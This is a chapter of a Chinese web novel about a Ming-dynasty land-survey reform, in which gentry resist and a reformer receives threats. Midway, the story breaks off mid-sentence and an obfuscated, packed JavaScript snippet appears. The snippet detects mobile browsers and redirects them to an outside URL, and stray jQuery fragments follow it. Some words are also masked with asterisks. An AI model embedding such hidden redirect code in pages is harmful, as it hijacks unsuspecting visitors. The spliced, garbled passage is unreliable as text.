第490章 清丈田亩令,瑾触地主利

作品:《寒门状元:我的大脑通古今

    道历七年腊月,北京城下了入冬以来最大的一场雪。


    鹅毛似的雪片子扑簌簌往下砸,把紫禁城的琉璃瓦、棋盘街的青石板、连带着西苑那几株老梅,全埋成了白馒头。


    可文渊阁里,吵得比三伏天的蝉还热闹。


    “靖海王!”


    “这‘天下田亩清丈令’万万使不得啊!”


    都察院左都御史刘忠孝,今年六十五了,白胡子抖得跟风吹麦浪似的。


    “洪武爷定下的鱼鳞图册,用了二百多年,虽有些许纰漏,修修补补便是!”


    “何苦推倒重来?”


    老头说着说着,眼圈都红了。


    “您知道重新丈量全国田亩,要动用多少人力?”


    “耗费多少银钱?”


    “户部李侍郎算了,少说三百万两!”


    “如今国库刚有盈余,北疆要养兵,海军要造船,学堂要拨款——哪还掏得出这笔银子?”


    苏惟瑾坐在主位,手里捧着个暖手炉,等老头喘匀了气,才慢悠悠开口。


    “刘老,洪武年间的鱼鳞图册,记的是洪武二十四年的田亩数。”


    “如今过去多少年了?”


    刘忠孝一愣。


    “这……一百六十七年。”


    “一百六十七年,”


    苏惟瑾放下暖手炉。


    “江南水田变桑田,湖广荒地垦成熟地,陕西屯田改民田,辽东新辟百万亩——这些,图册上记了吗?”


    他站起身,走到墙边那幅巨大的《大明疆域图》前。


    “不记,税赋就按一百六十年前的老账收。”


    “熟田按荒田缴税,民田按屯田纳粮,新垦的田干脆不交税——刘老,您说这公平吗?”


    刘忠孝张了张嘴,没说出话。


    “还有更厉害的。”


    苏惟瑾从袖中抽出一本册子,扔在桌上。


    “这是锦衣卫暗查三个月的成果——南直隶松江府,鱼鳞册上记田八十二万亩,实际田亩数至少一百二十万亩。”


    “那三十八万亩‘隐田’,哪去了?”


    他目光扫过堂中几位江南出身的官员。


    “被谁‘诡寄’了?”


    “是挂在举人名下免税了,还是被豪强‘飞洒’到小民头上了?”


    那几个官员脸色发白,低头不敢对视。


    “本王算了笔账。”


    苏惟瑾敲敲册子。


    “全国隐田若有三成,朝廷每年损失的税赋……就是四百万两。”


    “清丈花三百万两,往后每年多收四百万两——刘老,您说这买卖,做不做?”


    刘忠孝彻底哑了。


    诏令是腊月十五颁下去的。


    用词很温和,叫“复查田亩,厘正图册,均平赋役,惠及小民”。


    可明眼人都知道,这是要动真格的了。


    消息传到江南,正赶上过年。


    松江府华亭县,周家庄。


    庄主周有财今年五十有二,胖得跟弥勒佛似的,穿着簇新的绸缎棉袍,正坐在暖阁里剥橘子。


    底下站着七八个庄头、管事,个个愁眉苦脸。


    “老爷,”


    管家老赵苦着脸说。


    “县里来人了,说是过了正月就要清丈。”


    “带头的姓王,是个举人出身,还带了十几个格物学堂的学生,扛着些怪模怪样的家伙什……”


    “怕什么?”


    周有财吐了颗橘籽,嗤笑。


    “洪武爷到现在,清丈喊了多少回了?”


    “哪回不是雷声大雨点小?”


    “县尊张大人那,我早打点过了。”


    他掰着手指算。


    “咱家庄子,鱼鳞册上记的是三千亩。”


    “实际呢?连新垦的滩涂、佃户开的山地,少说五千亩。”


    “那两千亩的税,这些年可一分没交。”


    一个年轻些的庄头小声道。


    “老爷,听说这次不一样……是那位靖海王亲自抓的。”


    “还派了什么‘督导队’,带着圣旨呢。”


    “圣旨?”


    周有财乐了。


    “天高皇帝远,圣旨到了松江府,也得看张知府怎么解释。”


    “再说了——”


    他眯起眼睛。


    “咱周家是本地望族,祖上出过进士,如今族里还有三个秀才。”


    “真要闹起来,纠集几百个佃户,往田里一躺,看那些清丈的官差敢不敢踩过去!”


    众人听了,心里稍安。


    是啊,法不责众。


    往年官府来丈田,不都是这么应付过去的?


    正月十八,雪还没化干净。


    华亭县衙来了二十多号人。


    打头的叫**,三十出头,穿着半旧的青色官袍,看着像个穷酸书生。


    可他身后那十几个年轻人,却精神得很——清一色的灰布短打,背着帆布包,手里拿着些黄铜做的怪家伙。


    更吓人的是队伍最后头,跟着五十个兵。


    不是县衙的差役,是正经的卫所兵,领头的百户姓孙,一脸横肉,手一直按在刀柄上。


    县令张德全赔着笑迎出来。


    “王大人一路辛苦!下官已在后堂备了茶点……”


    “不必。”


    **摆摆手,从怀里掏出文书。


    “张县令,这是户部勘合,这是都察院关防,这是……陛下的密旨。”


    他展开密旨,上头就一句话:“清丈之事,凡有阻挠者,督导队可调当地驻军弹压。钦此。”


    张德全腿一软,差点跪了。


    “今天就从周家庄开始。”


    **收起文书。


    “请张县令带路吧。”


    周家庄外,田埂上已经围了好几百人。


    有看热闹的百姓,更多的是周有财纠集来的佃户。


    这些佃户手里拿着锄头、扁担,眼神躲躲闪闪,可就是不让路。


    周有财站在人群前头,穿着貂皮大氅,端着个紫砂壶,笑呵呵道。


    “王大人远道而来,辛苦了。”


    “不过嘛……这田亩之事,牵涉祖宗基业,庄户生计,是不是容周某先和乡亲们商量商量?”


    他朝身后使了个眼色。


    一个满脸褶子的老佃户颤巍巍走出来,噗通跪倒。


    “青天大老爷!这田不能丈啊!”


    “咱祖祖辈辈就这么种着,一丈就乱了风水,明年庄稼要绝收的!”


    “是啊是啊!”


    “不能丈!”


    人群跟着起哄。


    **笑了。


    他转身对那些格物学堂的学生说。


    “李茂,架仪器。”


    一个瘦高个的年轻人应声出列,从包里取出个黄铜制的玩意儿——三脚架撑着个圆盘,圆盘上有刻度,还有个小望远镜似的镜筒。


    “这叫经纬仪,”


    **对周有财解释。


    “格物大学新造的,比拉绳子准得多。”


    他又让另一个学生拿出卷皮尺。


    “这是鲸皮尺,浸过桐油,拉一百丈误差不过一寸。”


    周有财脸色变了。


    这些家伙什,他见都没见过。


    “开始吧。”


    **下令。


    学生们分成四组,一组架仪器测角度,一组拉皮尺量长度,一组打算盘算面积,还有一组在纸上画草图——那纸是特制的方格纸,一格代表一亩,画出来就是微缩的“鱼鳞图”。


    效率高得吓人。


    往常衙役丈田,一天能量百亩就不错了。


    这些学生半个时辰就量了五十亩,数据当场算出来,当场画图。


    周有财坐不住了。


    他朝管家老赵使了个眼色。


    老赵会意,混进人群,扯着嗓子喊。


    “官差**啦!”


    “官差抢地啦!”


    人群骚动起来。


    几个年轻气盛的佃户红着眼往前挤。


    “不许丈!这是咱的命根子!”


    “锵——”


    五十个卫所兵同时拔刀。


    孙百户往前一站,声如洪钟。


    “奉旨清丈!敢冲击官差者,以谋逆论处!格杀勿论!”


    杀气腾地起来了。


    那几个佃户吓得往后缩。


    周有财也慌了,他没想到这次官兵真敢动刀。


    “周庄主,”


    **走到他面前,声音平静。


    “您这庄子,鱼鳞册上记的是三千亩。”


    “可学生刚测了东边那片水田,就有八百亩——这还只是四分之一。”


    他顿了顿。


    “若全部丈完,怕是……不止五千亩吧?”


    周有财冷汗下来了。


    “隐田两千亩,按律要补十年税赋,每亩每年二钱,就是四千两。”


    **掏出算盘,噼里啪啦一打。


    “再加上罚银……周庄主,您准备一万两银子吧。”


    “一万两?!”


    周有财尖叫。


    “你这是要逼死我!”


    “逼死你?”


    **冷笑。


    “那些被你‘飞洒’了田亩、多交了税的小民,才是被逼死的那个!”


    他转身对孙百户道。


    “孙大人,清丈继续。”


    “谁敢阻拦,抓!”


    消息像长了翅膀,飞遍江南。


    各地豪强这才知道,这次是动真格的了。


    有想硬抗的——湖广黄州府几个大地主联合起来,纠集上千佃户,把清丈队围了三天。


    结果第三天,来了三百骑兵,带队的是个独臂将军,当年跟周大山打过仗的。


    二话不说,抓了十几个带头的,当场枷号示众。


    有想软磨的——浙江绍兴府几个士绅,摆下酒席请督导队,席间塞银票。


    结果那个姓陈的督导官把银票往桌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170539|186215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上一拍,第二天的《大明闻风报》就登出来了:“绍兴某绅欲**阻清丈,督导官铁面拒腐蚀”。


    名声臭遍全省。


    当然也有真配合的——北直隶顺天府有个小地主,主动上报了自家五十亩隐田。


    督导队核实后,不仅没罚,还给他发了张“诚信纳粮户”的匾额。


    这事被报纸一登,成了榜样。


    苏惟瑾这手软硬兼施,玩得炉火纯青。


    硬的方面,督导队有兵有权,敢闹就抓;软的方面,报纸天天宣传“清丈是为了均平赋役”,还连载了几篇《清丈实惠录》,讲某某县清丈后,普通农户田赋减了三成,日子好过了。


    老百姓不傻。


    谁对自己好,心里有杆秤。


    到三月开春时,南直隶、浙江、湖广这些重点地区,清丈已经完成了三成。


    报上来的隐田数,触目惊心——光南直隶一省,就查出隐田二百八十万亩!


    户部衙门里,李春芳看着账册,手都在抖。


    “王爷……这、这要是全补上税赋,今年国库能多收……一百五十万两?”


    “不止。”


    苏惟瑾淡淡道。


    “清丈之后,田赋按实际田亩征收,贫户减税,富户加税——百姓负担减轻了,朝廷收入反而增加了。”


    “这才是长久之计。”


    四月初,春雨绵绵。


    靖海王府书房,苏惟瑾正在看各地清丈简报。


    芸娘端了碗莲子羹进来,见他眉头微锁,轻声问。


    “夫君,可是遇到难处了?”


    苏惟瑾放下简报,揉了揉眉心。


    “难处一直有。”


    “只是今日……收了封匿名信。”


    他从抽屉里取出封信。


    信纸是普通的宣纸,字迹歪歪扭扭,像是用左手写的。


    内容很简单:


    “苏惟瑾,断人财路如**父母。”


    “清丈之事,适可而止。”


    “否则,白狄地宫之事,恐重演。”


    芸娘脸色一白。


    “这……这是恐吓?”


    “算是吧。”


    苏惟瑾把信扔进炭盆,看着它烧成灰烬。


    “清丈触动的,是地方豪强、士绅、甚至一些官僚的根本利益。”


    “这些人急了,什么手段都使得出来。”


    他握住芸娘的手,笑了笑。


    “放心,他们不敢真动手。”


    “只是这封信提醒了我——改革到了深水区,比战场更凶险。”


    “战场上明刀明枪,这里……全是暗箭。”


    窗外雨声渐沥。


    而千里之外的苏州城,拙政园深处,几个穿着便服的中年人,正围坐密议。


    烛光昏暗,映出几张阴沉的脸。


    “姓苏的是铁了心要挖咱们的根了。”


    一个微胖的士绅咬牙道。


    “松江周有财,被逼补了一万两税银,庄子卖了一半才凑齐。”


    “再这么下去,咱们都得倾家荡产!”


    “硬抗不行,”


    另一个瘦高个摇头。


    “他手上有兵,有报纸,还有小皇帝撑腰。”


    “咱们闹,就是谋逆。”


    “那就来暗的。”


    坐在主位的老者缓缓开口,他是致仕的南京礼部侍郎,姓钱。


    “他在明,咱们在暗。”


    “清丈要人办事吧?那些督导官、学生,总得吃饭喝水吧?”


    他顿了顿,眼中闪过寒光。


    “找些‘意外’,总不难。”


    众人对视,默默点头。


    烛火跳动,在墙上投下扭曲的影子。


    而他们不知道的是,屋顶上,一只灰扑扑的鸽子扑棱棱飞起,朝着北方,消失在雨夜中。


    清丈艰难推进,隐田触目惊心,国库岁入大增。


    可匿名恐吓信与苏州密议,预示着地方势力的反扑即将开始!


    更蹊跷的是,四月中旬,派往江西的第三督导队在鄱阳湖附近遭遇“山洪”,七名学生、三名官兵失踪,现场找到的遗物中,竟有一枚刻着“金雀花”纹章的铜钱!


    与此同时,利玛窦在京城突然“病倒”,卧床不起,而锦衣卫在其暂居的客栈后院井中,打捞出一个密封的铁盒,盒内除了一些传教文书外,竟有一张绘制精细的《大明主要矿区分布图》,图上用红笔圈出的十七处矿点,恰好都是近期清丈中查出大量隐田的地区!


    是巧合,还是有意为之?


    金雀花的触角,难道早已深入大明的土地利益网络?


    而苏州钱侍郎那伙人的密议,是否也与这个神秘组织有关?


    苏惟瑾的超频大脑感到一阵寒意——这场土地改革的较量,恐怕不只是大明内部的利益之争,背后或许还隐藏着一双来自**之外的、戴着金雀花手套的黑手!